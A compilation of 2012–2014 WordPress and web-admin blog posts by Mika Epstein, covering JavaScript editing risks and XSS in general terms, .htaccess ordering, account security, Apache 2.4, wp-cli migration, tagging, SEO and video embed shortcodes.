But JavaScript? Well that would be security but also support. I certainly don’t want people messing with JS because it’s easier than CSS to break your site with it. Don’t believe me? Go look at everyone’s whose visual editors broke after upgrading to WordPress 3.9 because of plugins that don’t work well with the new JS settings in TinyMCE. Those are plugins, written presumably by people who know what they’re doing. And they broke.
Is there a security risk to letting people edit CSS? No.
Is there a security risk to letting people edit JS? Yes. And worse on Multisite (which is what WordPress.com is running) as that could break the entire network, not just one site. A bad CSS call will only break your own site on the network, after all.

But I think the question may be “What’s so dangerous about JS anyway?” and the answer *there* is “Cross Site Scripting” (aka XSS). XSS is a vulnerability that will allow hackers to inject scripts from their computer into your site, which is normally (in WP land) used to bypass the requirement to be logged in, dump garbage into the database, and then log in and create merry havoc on your site. I’ve been told up to 84% of all vulnerabilities in the web are XSS related. This may or may not include CSRF (Cross Site Request Forgery). The [XSS article on Wikipedia](https://en.wikipedia.org/wiki/Cross-site_scripting) is pretty good.
Based on that alone, I would not allow users to make their own javascript edits. I would *perhaps* provide plugins to allow them to make certain adjustments, but not anything they wanted, any time they wanted. If they need that, then they need to get their own hosting on their own server, so they only blow up themselves.
Oh and whatever you do, don’t try to become ‘the next…’ anything on your own. That way lies madness. Get some help.
**Categories:** How It Is
**Tags:** essay, mailbag, multisite, wordpress
---
### [Bad Browser Complacency](https://halfelf.org/2014/bad-browser-complacency/)
**Published:** May 2, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Keeping up with the Joneses is about supporting more and embracing change.
**Content:**
Back in the day, you may have seen notices on browsers like “This site best viewed in Internet Explorer v4.” Since then, we’ve moved into the belief that a website should work on as many browsers as possible, and degrade nicely when it can’t. So imagine my surprise when I’m looking at photos online and I get a message saying I’m using an unsupported browser.
I happened to be using Chrome on my iPad, so I clicked the link which took me to and I saw this:

I was taken aback. Not that they say ‘IE 7 and up’ as it’s something I try to support as well. Frankly making sites look awesome on IE is about as easy and fun as a dental student doing your root canal. You’ll get there in the end, but it may hurt like hell.
Now, Corbis has certainly one of the more out of date designs for a photo sites I regularly visit (there are 10), but it’s not the most egregious. Yes, there are worse ones. Still for a site to have an alert like this in 2014 and to omit Chrome is rather shocking. Someone remarked it looked like that site was designed circa 2003 and Chrome, if you didn’t know, only came out in 2008. So while I remember this new design for Corbis being rather recent (2012 or 2013, but that may have just been some tweaks), it’s clear they’ve not visited that page in at least six years.
I talked to my family about web design at a recent brunch, stressing that I do not do website design *per se*, but I am happy to help them find people and upload their content. At that time, I pointed out that the trick to a website was to frequently update it and make it more modern. “It’s like the runway shows,” I replied. “What’s in this season was weird last season and may be out by next season. So making a site and never changing it is as smart as never updating your wardrobe.”
People judge by how things look. If someone only wears a black turtleneck and jeans (Steve Jobs), we create a specific mindview of them and it rarely changes. Someone who always wears avant-garde clothes that are nearly unwearable (Katy Perry), we create another. If that person always wears a suit jacket (Tim Gunn), we have yet another view. Neither is right or wrong, of course, and they all have their places.
We update our wardrobes when we gain and lose weight, when we decide we want a change, when we feel different, when we have to change, when we want to. While I tease that Brian Gardner is never satisfied with a web design and is always changing, I’m often just as guilty of this as I don’t feel things fit forever. If I’m not afraid of changing my wardrobe, why would I be afraid of changing my website?
And yet. We worry a lot more about the change of design, to the point that sites like Corbis haven’t significantly changed or adapted since 2002, when the site was born. Since then, 12 years have gone by, browsers have changed, security changed, and the viewing experience is wildly different. Corbis on a phone? Yeah not a great experience.
When your site never changes with the times, never grows to adapt to it’s new audience, you lose respect in the world of the Internet. We have to keep up with the times, test and retest on as many browsers as humanly possible, and make sure that it all works. We can’t just say “Yes, this one design is good” and more so, we can’t say “This site works best on…” anymore.
Unless you’re the sort to say “This jeans only work with turtlenecks.” Then, by all means, never change.
**Categories:** How It Is
**Tags:** design, development, essay, website
---
### [Mailbag! .htaccess questions](https://halfelf.org/2014/mailbag-htaccess-questions/)
**Published:** May 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ken has some questions about .htaccess and I have some answers!
**Content:**
New thing! So many people email me for tech support, which I’m pretty clear on how you’re not going to get it. But Ken (the web mechanic) asked some pretty basic questions, and I’ve decided to answer some of them.
In public. Lucky you, Ken. Don’t worry! These were good questions. See, one of the (many) reasons I love WordPress and the support forums is that the answers are *public* so everyone can see what the question was and how it was answered! This is hugely important to foster a community, so that’s why I’m going to answer this in public, with your personal information removed, of course.
Ken’s basic concern is that .htaccess is confusing, and is there a preferred order? The answer is *yes*. The basic idea is that .htaccess rules are a top-down process. The server reads the file from the top on down, in order, 1-2-3. For this reason alone, it’s obvious why you don’t want a super long .htaccess file: more to read takes longer!
> The WP permalink area… Should that always be dead last?
Yes! WordPress rules *always* go last. Remember what I said about top-down? If you were to put WordPress at the top, you would load WordPress, process it, and then do the rest of the rules. Which once you say that, it’s pretty obvious eh?
> Deny IP addresses/ referrers. To me it would make sense for them to be at the beginning… Would that be true?
True! The access controls (including IP blocks) first. Redirects go next, starting from most specific (about-me to about) first to general last. Then your Rewrite rules.
> Compression/Caching/mod\_expires… I haven’t a clue where they most appropriately go. Securing wp-config, htaccess itself, other files, etc. … Before? After? the WP permalink block.
I put them before my re-writes. Since I use a deny to secure .svn type files, it’s an access control so it goes first.
So how does this work? Here’s a practical example. You want to do the following: remove www from your domains, protect your wp-config file, protect your comments and login from direct attacks, redirect some old pages from before you were WordPress, redirect your old permalink formats, and gzip/compress things. Oh and run WordPress!
The order would go like this:
1. Access Control: This is the part where we’re protecting specific files, but also blocking IPs. Basically it’s ‘Security First.’
2. Remove WWW: We want to make sure everyone’s redirected to the non-www page. If you’re redirecting specific domains (like I send tech.ipstenu.org to halfelf.org), you do it here as well.
3. GZIP: I do my compression here, though it woudl work just as well swapped out with the next one.
4. Redirect: Here we’re talking one-off redirects like sending ‘about-me’ to ‘about’.
5. Re*write*: The ReWrite rules are the ones where you say “Send http://example.com/2014/01/10/postname/ to http://example.com/postname/” with those rules with regex.
6. WordPress Rules: Last. Always always last.
And that is .htaccess!
If you want a look at how my .htaccess is structured, see [My super-secret .htaccess file](https://halfelf.org/2013/my-super-secret-htaccess-file/), which hasn’t changed much since 2013. I do a couple things out of order, but they’re minor enough. As long as I can limit any recursive loops with the .htaccess checks, I’m doing good.
**Categories:** How It Works
**Tags:** htaccess, mailbag, wordpress
---
### [You Are The Weakest Link](https://halfelf.org/2014/you-are-the-weakest-link/)
**Published:** April 30, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thoughts on the weakest link in security: You and me.
**Content:**
I sit by people who are on the phone with customers about their accounts all day. Each and every day I hear them talk to customers who are past due or need to activate a new credit card or had an account closed by not paying. In general, I marvel at how consistently nice these coworkers of mine are, considering the number of times I hear people screaming at them. But I also get to hear some fairly impressive conversations.
Most of the time, the conversations are mild, a reminder that you actually have to pay, here’s how you pay, off you go. But once in a while you get to hear the tale of someone who wants to cancel an account. This is only interesting because we don’t cancel your account for you. You have to log in and cancel the charges and billing. About once a day, someone asks why we can’t just accept they are who they say they are and close the account, and I hear my coworker explain over and over that it’s not secure. We can’t verify you over the phone, we called you, and… well there’s a reason you have to call your bank and not the other way around.
Recently I had a credit card jacked, causing me to miss a payment I didn’t know I owed. I was called by a bill collector after 60 days and they asked for my account information. I balked and asked what card he was calling about, what was the amount, when was it charged, and so on. Then I hung up (I tried to tell him thank you, he kept talking) and called the card company directly. They confirmed the situation, I explained it wasn’t me, we got the bill reversed, everyone was happy… except me. I pointed out having some random number call me and claim to represent them was not safe or secure. They agreed, and also remarked that I shouldn’t have had a collection agency after me at only 60 days, so clearly they had a billing problem.
I’m a little thoughtful about my security, if you can’t tell. So when I read my friend Gary’s story about [Paypal’s lack of security](http://pento.net/2014/04/03/paypal-is-still-bad-at-account-security/), it surprised me. There’s no true Two Factor authentication on something that has access to my bank account, just a dongle I’d have to pay for (and keep handy) or SMS. And when you read more into why Gary turned on SMS (see the story about [how @N lost his user name and $50k](http://www.theverge.com/2014/1/29/5356866/twitter-n-account-attack-naoki-hiroshima-godaddy-paypal)), it gets more disturbing.
Social engineering to figure out passwords and pose as other people is easy. I do it all the time when I need to set up something for myself and my wife, and the company says she has to call too. I happen to have all of her information, down to access to her email (after all, I’m her sysadmin), and we actually made a specific joint email address for things like our bank account. If you have the information, it’s not hard to do.
We can blame GoDaddy and Paypal all we want for this. Should they accept the last four digits of my credit card as identification? Should they accept my social security number? What about my password (which means they can read it, by the way), or what about a special password used only for verification? Now I have to remember more, carry more, and know more all the time. It’s information overload. And because of that, because we’ve complained, they do less.
People see our credit cards *all the time*. You handed your debit card to someone to pay your eye-doctor’s co-pay, or for that latte. We tweet about our first pets and mother’s maiden names, and we Facebook everything. It’s pretty obvious that the weakest link in security, and the reason social engineering can easily exploit them with companies, is us.
There isn’t a perfect way to protect ourselves, though. Last year my phone got wiped and I lost my Google Authenicator settings. I had secondary login codes for Google itself, but not WordPress.com (I’d never set them up) so I was unable to log in. After skyping and emailing two of my good friends who work there, I was able to get back in, but had they not been able to know it was me, what could have happened?
Every time someone asks me what I do to be safer online, I tell them this “I am working to eradicate my ability to be stupid.”
**Categories:** How It Is
**Tags:** essay, security
---
### [So Your WordPress Upgrade Broke](https://halfelf.org/2014/wp-upgrade-broke/)
**Published:** May 23, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This will happen to everyone, and this is not about how to fix it, but why it happens, and how to decide who to trust so it happens less.
**Content:**
I’m delving into angry-land here, so hold on to your hat.
So. You upgraded to WordPress to a major release without testing it first, and broke your site? It’s probably your own fault. Bring on the stones and when you’re done, let’s talk.
Ready to talk? Okay, you didn’t test. That’s why it’s at least partly your fault. This triples if the next words out of your mouth are “And my WordPress site is my life!” It quadruples if you say “My client sites broke!” It’s infinite if you broke your company site and you happen to be a WordPress based company.

But notice how I said *probably*? I can honestly say that 50% of the time my site breaks, it’s WordPress, not me, but I happen to run trunk without testing, which makes it my fault, not theirs. Seriously. I’m running trunk on a live site, which updates twice a day. I’m a little reckless. My life is WordPress, which makes me in violation of one of my own cardinal rules, but at the same time, the *part* of WordPress that is my life is supporting it, or breaking it and reporting it. For me, a broken WordPress install is one that needs my love to fix it, and I embrace that role.
You’re not me. And in fact, neither is my dad or my friends’ sites that I host. For them, I have a couple options: Let them upgrade themselves, upgrade them automatically, upgrade them myself. I use all of those methods, in different situations and with each of those, what happens when they break? I will say this, for everyone *but* me, if I have a contract to manage their updates, I *test the update first*. To the fellow who complained he had 200+ sites to test, I say “Well, that’s your job.” You agreed to manage them, you better do it right.
Telling people “Your site broke because you didn’t test.” isn’t an answer, though. It doesn’t explain *why* the site broke. The answer to that is a little more simple. “You have code that doesn’t work with the upgrade.”
And yes, it’s really that simple. You have a plugin, or a theme, or an add-on to your server, that doesn’t like the newest version of WordPress. Now, it’s a struggle to fix one’s site at the same time as placating one’s customers/clients/visitors, because you’re in a race against time. This is why you have to do that usual testing with plugins off and so on. Complain all you want, there’s no way around it. Point out you’re not a coder all you want, that’s actually why this happened to you and not me.
What do I mean? Well I am a coder, so when I install a new plugin I review it first by looking at all the code. You’re not a coder, I hear, but you can still review the plugin by looking at the updates, the author, their contributions to WordPress, the support forums, and the *size* of the plugin. The larger a plugin, after all, the more chances to go wrong. I also like to check `/wp-admin/credits.php` and look for the author. If they’re there, the odds of them not knowing that there was a change in WordPress that impacts their code is pretty negligable.
And this is how it works. It’s the addition of all things, combined to make a good, educated, guess as to the relative safety of your site. Good plugins that you’ve checked on, good themes ditto. Sure everyone can make a mistake, but good code makes fewer, good coders adapt well, and responsive coders react well. That’s the biggest thing. People will make a mistake and break your site, but if you use a theme were the developer is on the spot with patches and generally responds quickly (say, within 5 days), then you can be pretty sure that this developer knows *when* WordPress is releasing a new build, and that they should test Betas and RCs. That’s what you’re looking for.
This is *especially* important if your site breaks on a **MINOR** upgrade. If your site broke going from 3.8.2 to 3.8.3, and you find out it’s a theme, *stop using that theme*. That’s really hard, I know. But it’s really serious. A theme or plugin that breaks on the minor updates is doing something really wrong, or is taking advantage of a vulnerability which makes *it* dangerous to use. That’s it. That’s the reality. Either code is really bad or it’s really unsafe.
Neither of those things means the developer is a bad person. It just means they did bad code. *We have **all** done bad code.* We have all been the cause for bad and dangerous code, and we will all be so again. But again, it’s how we respond that makes us heroes or not.
Look for the heroes. They stand out. Use their code.
**Categories:** How It Is
**Tags:** essay, updates, upgrading, wordpress
---
### [Catch a Session](https://halfelf.org/2014/catch-a-session/)
**Published:** April 11, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Me, talking about ecommerce, running a store, and yeah, a little Heartbleed.
**Content:**
When I was at WordCamp Chicago in 2013, Brian Richards asked me if I’d be interested in giving a WordPress ‘Session.’ Since not everyone can make a WordCamp, what if there was a live, online, session they could watch to get the same information? Thus was born [WPSessions](http://wpsessions.com/)!
I said yes, and months went by. Then he pinged me again, asking if I was still interested, and would I might talking about eCommerce and [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359)? That was new! Most people want support, community, or multisite. Since I’d recently written a book about [running an ecommerce bookstore](https://store.halfelf.org/ebooks/wordpress-bookstore/), I said yes again, and on Thursday gave a session.
If you missed it, and you probably did since I did a terrible job promoting (sorry Brian!), you can check it out at [WPSessions – eCommerce for Site Owners](http://wpsessions.com/sessions/ecommerce-site-owners/). It’s $30 for *four* sessions (mine is 51 minutes long), and while my slides are online , you never get quite the same impact as seeing me give them, do you?
**Categories:** How It Is
**Tags:** ecommerce, website, wordpress
---
### [General Behavioral Guidelines](https://halfelf.org/2014/general-behavioral-guidelines/)
**Published:** April 16, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some general ways to behave online, in order to get the best out of the internet.
**Content:**
The following are cribbed from TWoP’s Dos and Don’ts. They should not be considered the be all and end all of how to behave on a site, but I find that abiding by these gets you going on pretty much every forum and comment site in the history of ever. Since a lot of people never saw TWoP (or the similar post I made on make/support in WordPress land), it’s useful here.
**Good Manners and Respect Dos and Don’ts**
- **DON’T** use “um,” be snotty to another user, or make the argument personal
- **DO** know the difference between differences of opinion and personal attacks
- **DON’T** present your opinions as facts
- **DON’T** post the same opinion over and over in the hopes of wearing other people down or “winning” a discussion; just move on
**Starting New Threads Dos and Don’ts**
- **DO** search for existing topics before starting new threads
- **DON’T** use all-caps or excessive punctuation in thread titles
**Posting Messages Dos and Don’ts**
- **DON’T** post in a thread until you’ve read the whole thread
- **DON’T** post “Me Too!” messages; add something of substance to the conversation
- **DON’T** sign your posts
- **DO** use proper spelling, capitalization, punctuation, et cetera
- **DON’T** pimp your site or product, et cetera;
- **DON’T** post copyrighted articles; link to them
- **DON’T** post the same thing in multiple areas; pick a spot and go with it
**Warnings, Bans and Trolls Dos and Don’ts**
- **DO** take any mod warnings you get seriously
- **DON’T** bug the mods to remove moderation on your posts
One thing I left out is something that drives me up the wall. Don’t reply to things in the wrong place. If you’re reading someone’s blog post about how to tie shoes and you post a comment of “Will Prince Harry get married?” because the blogger remarked about that in a separate post, you’re being really annoying. I personally delete off topic posts, and serial-off topic posters get blocked.
When you get off topic, you make it harder for a conversation to be followed. When you make it hard to follow, you get bad help (at least in support forums). Hate it.
Of course, when I suggested these to WordPress’s Support folks, I got some interesting replies which tell me that folks aren’t quite as receptive to things being spelled out, fairly friendly, that should be common sense. Allow me to quote Voltaire:
> On dit quelquefois: “Le sens commun est fort rare.”
For those of you who do not speak French: People sometimes say: “Common sense is quite rare.”
**Categories:** How To
**Tags:** behavior, essay, support
---
### [Apache 2.4 Kiboshed SPDY](https://halfelf.org/2014/apache-kiboshed-spdy/)
**Published:** April 18, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I won't be using SPDY because I can't have my cake and eat it too.
**Content:**
I have a store running on SSL for security reasons. I mean, you kind of have to, right? The problem is [you don’t really want to cache SSL pages](https://store.halfelf.org/blog/catching-caching/), as I reminded myself lately. At best, I was able to work around PageSpeed’s idiosyncrasies and compress the HTML and JS somewhat, but still I know that there has to be a better way.
Everyone told me to look at [SPDY](https://developers.google.com/speed/spdy/mod_spdy/). Now… this came with some issues. I needed Apache 2.2.4 (I was on 2.2.2):
```
httpd >= 2.2.4 is needed by mod-spdy-beta-0.9.4.1-397.x86_64
mod_ssl >= 2.2 is needed by mod-spdy-beta-0.9.4.1-397.x86_64
```
What’s an elf to do? Well… what about Apache 2.4? After all, it’s the latest and greatest. This is when my eyebrows jumped. There’s no support for Apache 2.4. And the mod release is only on SPDY 2 when the release is on SPDY 3.1? What on earth is Google doing!? Apparently [giving up on mod\_spdy](https://code.google.com/p/mod-spdy/issues/detail?id=64) which is horrible. Love the open source community though. [Patrick Buckley forked it](https://github.com/eousphoros/mod-spdy). I cannot stress enough the requirements in life to check into some random stranger before you just download and use their code. Especially when we’re talking servers! Sadly, looking into his code I saw it would upgrade apache and SSL.
Well. No. It’s not that I don’t trust this guy, the code looks okay. It’s trying to install HTTPD 2.4.7 which is not the latest and greatest for my server’s OS (currently 2.4.9). Not to mention some research on cPanel showed [issues with mod\_spdy and CentOS](http://features.cpanel.net/responses/mod-spdy_2) (including the note that Patrick’s code caused random coredumps). However. The odds are that when, eventually, the stars align and there is mod\_spdy (or some alternative) for Apache, it’ll be for 2.4.x so I may as well put the effort into updating today.
Sidebar. Yes I know about nginx. Yes I’m aware of the [package for CentOS](http://wiki.nginx.org/Install#Official_Red_Hat.2FCentOS_packages). Yes I know it’s faster for static files and CSS and JS (and arguably even for PHP). Yes I know it’s easier to use default nginx than to tune Apache. But. I like having my .htaccess file to edit, and I’m not ready to do a total switch yet since this is not my server for me alone. Eventually yes, I will. Today is not that day.
So Apache 2.4! There aren’t a lot of [Apache 2.4 issues](http://docs.cpanel.net/twiki/bin/vief/EasyApache/Apache/Apache24Issues), but what they have are major enough for me to sit up and pay attention. For example, [MPM-itk](https://halfelf.org/2013/polyphemus-problem-pans-out/ "Polyphemus Problem Pans Out") is no longer provided as an easy install from cPanel, they wanted me to use [mod\_ruid2](http://docs.cpanel.net/twiki/bin/view/EasyApache3/ModRuid2), which *isn’t compatible with memcache*. I really hate that. However. Many people informed me you can still use memcache**d**, and besides which, Apache 2.4 doesn’t support Memcache. I still find it amusing that Cpanel outright says mod\_ruid2 is just as dangerous as MPM-itk, but would rather use the one that’s *less* compatible. It’s not that I can’t install it on my own, of course, it’s as the amount of effort put into working around a problem gets large, the less pleased I am with that as a solution. Work smarter. By the way, mod\_ruid2 is available on Apache 2.4. I learned a lot when I installed it myself, now I’ll learn more.
There was a catch in things of course. I’d set up `mpm.conf` files in `/usr/local/apache/conf/userdata/std/2/` and had to roll those back, as they borked deployment. Took me an hour to sort out *that*. Remember to read the complete errors, folks. Of course I tested things once Apache 2.4 was up, before starting to make sure all my modules etc were still running. I was lucky, I only had to [configure pagespeed for Apache 2.4](https://developers.google.com/speed/pagespeed/module/install#apache24). Everything else worked out of the box. Since I was using MPM Prefork already (worker is not available due to mod\_ruid2) I didn’t have to edit anything there.
What did I notice? Memory and load stayed the same. And you’d think that meant this was for nothing. I should mention this happened to be on the same day I got nailed by a 60% bump in traffic on my busiest site. So … that would be better then.
I’m bummed that SPDY isn’t being actively developed for Apache right now, though. For folks who are pushing the HTTP 2.0 world, they seem intent on ignoring or not committing to getting others up to speed. While nginx is awesome, there will always be a reason for people to use other server types. I hope to either see mod\_spdy get picked up and loved again, or for someone else (Microsoft’s HTTP S&M?) to pick up the thread and remember that abandonment doesn’t move things forward as fast as you’d think.
**Categories:** How To
**Tags:** apache, php, servers
---
### [Migrating A WordPress Site With wp-cli](https://halfelf.org/2014/migrating-with-wp-cli/)
**Published:** March 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If scotch is for shippers, clearly margaritas are for migrations!
**Content:**
This is … crazy simple. I wanted to move a site from ipstenu.org to ipstenu.com (yes, I own that too). While ipstenu.org is a Multisite network, ipstenu.com is where I put a ton of add-on domains. I was moving a site over and, as it was WordPress, did it in a matter of minutes.
## Add the domain to the … domain
Since I don’t care to have multiple hosting accounts, and I’m the only one with SSH/FTP access, it’s safe enough for me to do this. There is a risk when you share multiple domains in one hosting account, that if one gets hacked they’re all vulnerable, but I consider it low in my situation. Every plugin is vetted, every file is checked, and then I went and gave each add-on it’s own FTP account. Neurotic? Thy name is me.
Anyway, I add the new domain to my hosting where I want it.
## Create the new DB
I have to make a new database, and generally a new DB user, on the server too.
## Export!
On existing hosting, I do this:
```
wp db export
```
That gives me my SQL file, thanks to WP-CLI. It’ll be named `example_com.sql` and will sit in my folder with .htaccess and everything else.
## Copy!
I do it via SSH. I go to the new location and run this:
```
scp -r olduser@example.com:path/to/files/ .
```
Since I have ssh keys set up, it’s easy. If I don’t, I’ll put in the password, but that’s straightforward.
## Edit wp-config.php
Now I have to point to the new DB. Sometimes I name it the same, but usually I don’t, so I’ll edit the DB name, DB user, and password.
## Import the old DB
Ready?
```
wp db import example_com.sql
```
Boom. It’s all dumped in! Only two steps left!
## Search & Replace
I love this one.
```
wp search-replace example.com newexample.com --dry-run
```
I *ALWAYS* dryrun test it. This is a serialization safe search, so rarely is it ever going to be an issue to just run, but it lets me make sure I don’t get any wonky results. I never have, so re-run without dry-run.
## Cleanup!
Delete the SQL file, delete the old files on the old server.
## Drink

I moved code. That’s shipping, right? Or is it margaritas are for migrations?
**Categories:** How To
**Tags:** command line, moving, wordpress
---
### [Category or Tag?](https://halfelf.org/2014/category-v-tag/)
**Published:** March 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You should read Lorelle Van Fossen. Shut up, she's right.
**Content:**
Everyone in WordPress has probably heard the advice of Lorelle VanFossen on the subject of [Categories or Tags](http://lorelle.wordpress.com/2005/09/09/categories-versus-tags-whats-the-difference-and-which-one/). I’m sure her 2005 post will remain, forever, one of her most popular posts, much like mine about why you shouldn’t use Multisite will be one of mine. And why is that? Well it’s simple.
*She’s right.*

She gives information in a clear, direct, concise way, and she’s right. She will always be right. No, sorry, if you disagree, you’re just wrong. Category abuse is like menu abuse in that it confuses your readers. If you’re organizing things in too many directions at once, the sense of location is lost and no one cares anymore.
But still, people ask which do you use and where and why? For me it’s really simple.
- Categories are organized
- Tags are free form
To me that means I need to organize my posts on a site to major topics. This is a tech blog, so I’m probably going to talk about how things are and how they do it, and how you do it. That means I really don’t need much more than three categories. I ended up with five, since I decided a CPT for presentations and another for videos wasn’t really needed. Categories categorize, though. It’s simple and straight forward. A category is a room in my house.
The tags are the items in my house and they can go in any room. They’re the minor topics of my site. Like my iPad can come into my bedroom or bathroom (we all do it), the post about plugins could be philosophical or explanatory. The little things versus the big things, as it were. The tags are all those little things scattered around the site.
But what good are they to anyone? They’re both aspects of organization, and they’re both somewhat useful to find old posts, but do your readers ever use them? It’s funny when you think about how much time we spend trying to make all these aspects of our site ‘perfect’ and how few people actually use them. Like I did a study on this site for related posts. I measured, using my analytics, how many people used them to click through and came out with a resounding “Less than a dozen.”
Same general test on another site? Over a hundred. And on that site, no one clicked on tags. They don’t really here either, but since I use categories to organize ‘sections’ of the site, those get used a lot everywhere. And if you can’t tell, this is all a lot of work. You’ve got to work hard to make the site flow right for your users and visitors. For your product, you have to consider what you’re sharing and selling, and how people logically get around. You need to study, watch, and experiment.
The real answer to category or tag is, of course, what works for you. But when you’re starting out, listen to Auntie Lorelle.
**Categories:** How It Is
**Tags:** administration, wordpress
---
### [WordPress' SEO Sucks](https://halfelf.org/2014/wordpress-seo-sucks/)
**Published:** March 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Or: How to rank really high in a totally non-related search.
**Content:**
“what to say when someone asks you to suck them off”
Not the sort of term anyone would really associate with this site. So imagine my surprise when I saw my search stats in Jetpack:

That sentence is at the end of my list of Search Engine Terms. I tweeted that I was astounded, and wondered how far down the SEO hole one had to traipse to find my site. As it turns out, not very far at all:
[](https://halfelf.org/2014/wordpress-seo-sucks/search-results/)
Fourth. That’s it. That’s how high I ranked. So the next logical question would be to ask what I did to make my site rate that high on random searches? Nothing. I don’t have anything ‘special’ on this site. I have a good theme, certainly, but I don’t use any WordPress SEO plugins, and in fact, I’ve never (until now) used “what to say when someone asks you to suck them off” like that, all in a row.
What’s the magic?
## It’s not WordPress.
[](http://jenmylo.com/2011/08/03/wcsf-shirt/)What Makes WordPress so darned Awesome (by Jen Mylo)That is, it is and it isn’t WordPress. WordPress is SEO optimized out of the box, and your content totally matters. And it’s content that probably landed me so high. You take good content, you add in people linking to your content, you promote yourself with friends who pass it on, and magically your hard work becomes content!
Last week someone told me they wanted to “automate the posting of \[original\] content” and I was completely bewildered at the concept. The issue, as I understood it, was that posting original content to 100 blogs meant writing original content 100 times. And you can’t automate that. By definition, posting unique posts means … you make unique (aka different) posts. This person went on to say it was time consuming to make 100 posts and create 100 custom links to them. I sat back and blinked a few times, and thought “Well, yeah.”
I say it over and over. A website is work. If people could magically install WordPress and boom, money, then I wouldn’t have a job helping people speed up sites or debug strange conflicts, or a million other weird things I do every day. WordPress can make publishing on the web a heck of a lot easier, but it will never be effortless because effort is what makes your site amazing. Effort and attention are crucial to keeping your site going.
Every time I hear about someone trying to find the quick and easy way around content creation, I shake my head. There isn’t a quick way, there isn’t an easy way, and there isn’t a simple way. Unless you like writing and think that it’s any of those things. But even then, you can’t just write and expect magic to happen. You have to write, and customize, and care, and water, and fertilize your website.
So how did my site get ranked so highly about sex when it’s about tech? If you read the post that got linked, it’s about how [you suck](https://halfelf.org/2013/my-question-is-you-suck/). “My question is you suck” is the title, and in there, I talk about what to say when someone says *you* suck. It’s actually a pretty logical result, when you think about it for a moment. But because enough people link to me, and enough people used the word ‘suck’ in their links, and enough people shared the link, I’m respected by google and score crazy high on a totally non-relevant search.
That’s how you work the system.
Sorry about that, to everyone who is vastly disappointed, having come here via the search result.
**Categories:** How It Is
**Tags:** essay, seo, wordpress
---
### [Embedding Videos from TVGuide](https://halfelf.org/2014/tvguide-videos/)
**Published:** March 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes things that should be super obvious are not. Embedding videos should not be this hard, and yet it is.
**Content:**
This one goes out to my fellow fansites.
There are a lot of you guys who use WordPress (probably that’s my fault) and like me, you bash your head in when a news source makes a video embedable, but only if you use *their* code. Why is this a problem? Most of us like using WP’s visual editor, and that means we have to switch to text mode, paste this in, and then never ever ever visit that page in the visual editor again:
```
```
Augh!
In part this is because WordPress uses TinyMCE for editing GUI-like, and switching between visual and text mode kills things. But on the other hand, how come we can just paste in a YouTube URL and that works? Well it’s a magical thing called [Embeds](http://codex.wordpress.org/Embeds), and basically WordPress sees that URL for YouTube and knows “OH, I should be a video and YouTube has a special code on it’s sever to tell me how to display it! Yay!”
Not everyone has that. TV Guide, CBS, etc. I’m looking at you. Where this makes sense is where they do not want you to embed a video because they want the traffic to themselves, which is fine. We can link. But where it’s daft is when they make it embeddable, give you that link, but it’s flipping ugly and can’t be used in the visual editor!
For TV Guide, at least, there’s a fix. [Ooyala Video Browser](http://wordpress.org/plugins/ooyala-video-browser).
While the search function doesn’t work ‘great’ right now, probably because I’m searching for their videos with the wrong keywords, but still I was able to embed a video like this:
```
[ooyala code="NwdzM3aDp4BB3-MEdPemlMJK5XH7ZVdn" player_id="undefined"]
```
The ‘code’ is the ’embedCode’ from the embed they gave me before.
I can also use this:
```
[ooyala code="NwdzM3aDp4BB3-MEdPemlMJK5XH7ZVdn" player_id=&"VlajQ6DTdv9-OYPHSJq6w4eU0Bfi"]
```
Using ‘video\_pcode’ for ‘player\_id’
So this wasn’t super obvious, and personally I would love it if Ooyala had an oembed and then a ‘share this on WordPress’ link for things, but seeing as Automattic (and Pete! Hi Pete!) helped with the plugin, this may be as good as it gets for now. Maybe they could marry it into the Media Uploader, below ‘Insert from URL’ – have ‘Insert from Ooyala’. Dreams. I haz them.
There’s a lot to this plugin that I didn’t need, though. After all, since I don’t have an account, I don’t need all the search stuff, so I stripped it down to just this (which is an mu-plugin):
```
/**
* Ooyala Shortcodes
* Usually for crap like TV Guide
* Example: [ooyala video_pcode="VlajQ6DTdv9-OYPHSJq6w4eU0Bfi" width="222" embedCode="NwdzM3aDp4BB3-MEdPemlMJK5XH7ZVdn"]
*/
add_shortcode( 'ooyala', 'ooyala_shortcode' );
function ooyala_shortcode( $atts ) {
extract(shortcode_atts(array(
'width' => '500',
'video_pcode' => '',
'embedcode' => '',
), $atts
));
$width = (int) $width;
$height = floor( $width*9/16 );
if ( !is_feed() ) {
$output = '';
} elseif ( $options['show_in_feed'] ) {
$output = __('[There is a video that cannot be displayed in this feed. ', 'ooyalavideo').''.__('Visit the blog entry to see the video.]','ooyalavideo').'';
}
return $output;
}
```
And that is that!
**Categories:** How To
**Tags:** essay, plugins, wordpress
---
### [Storify oEmbed](https://halfelf.org/2012/storify-oembed/)
**Published:** May 16, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
 **Of note, this no longer appears to work. It’s been almost 2 years. Not shocked. Embedly has a plugin though. **
I was reviewing a plugin that went the long way around for this (similar to how things work on my [Rickroll](https://halfelf.org/plugins/rickroll/ "Rickroll") plugin, with a search/replace).
You would think this is easier:
```
// Add Storify oEmbed
function add_oembed_storify(){
wp_oembed_add_provider( 'http://storify.com/*', 'http://api.storify.com/v1/stories/');
}
add_action('init','add_oembed_storify');
```
But even though there’s a nice API, it won’t work. Why not? Because Storify doesn’t have it’s own oembed provider. Boo. Instead you have to use something like embed.ly
```
wp_oembed_add_provider( 'http://storify.com/*', 'http://api.embed.ly/1/oembed?url=http://storify.com/');
```
Then you put `http://storify.com/dailydot/betty-white-joins-twitter` in your post and it shows a story.
**Example:**
http://storify.com/dailydot/betty-white-joins-twitter
**Categories:** How It Is
---
### [Open Source Olympics](https://halfelf.org/2014/open-source-olympics/)
**Published:** February 14, 2014
**Author:** Ipstenu (Mika Epstein)
